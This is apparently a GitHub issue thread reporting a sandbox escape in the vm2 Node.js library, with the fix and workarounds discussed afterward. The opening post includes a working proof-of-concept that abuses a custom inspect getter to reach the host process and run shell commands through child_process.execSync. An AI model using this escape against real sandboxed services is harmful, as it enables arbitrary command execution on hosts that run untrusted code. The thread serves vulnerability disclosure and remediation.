Vm2: Breakout with inspect

Created on 1 Mar 2020  ·  11Comments  ·  Source: patriksimek/vm2

The following code can be used to escape the vm, and for example execute command in shell.
It has been already reported in #187 here, it still works on node 13.6.0 and vm2 v3.8.4

const {VM} = require('vm2');
const vm = new VM({
    wasm: false,
    timeout: 2000,
    sandbox: {},
    eval: false,
});

const malicious = '(' + function(){
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
    }
}+')()';
vm.run(malicious)
bug confirmed

Most helpful comment

@mxschmitt Just released as 3.9.0. I'm sorry for the delay.

All 11 comments

@patriksimek This issue is fixed in master, however the fix came with https://github.com/patriksimek/vm2/pull/242 which is after version 3.8.4. So mpn does not have this fix.

This stays open until v3.8.5 is out.

Do we have an ETA ?

@jan-osch Since @patriksimek seems to be quite inactive, I don't know.

@XmiliaH thank you for your answer and all the contributions!

Do you think that such monkey-patched workaround will prevent the breakout until we have an updated version published?

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@jan-osch Thats not a good soultion:
1) It forgets the [Symbol.for("nodejs.util.inspect.custom")] key.
2) It allowes to write to the prototype of the host Buffer.
3) The problem is that console.log will also trigger this problem and your solution does nothing against that.

Unfortunately there is no easy solution.

Here is a temporary poorly tested hacky fix:

function hacky_fix(vm) {
    const internal = vm._internal;
    const old = internal.Decontextify.object;
    const handler = {__proto__: null};
    internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
        const value = old(object, traps, deepTraps, flags, mock);
        const better = new Proxy(value, handler);
        internal.Decontextify.proxies.set(object, better);
        internal.Contextify.proxies.set(better, object);
        return better;
    };
}

It patches internal functions, so use with care.

Thank you @XmiliaH! Do you know any project with a test suite for such breakout cases? I would like to add some breakout tests to my CI as an early warning system

We have some testcases in test/vm.js. Just search for attack and you will find the cases.

friendly reminder @patriksimek would be awesome if you could release a new version.

@mxschmitt Just released as 3.9.0. I'm sorry for the delay.

Was this page helpful?
0 / 5 - 0 ratings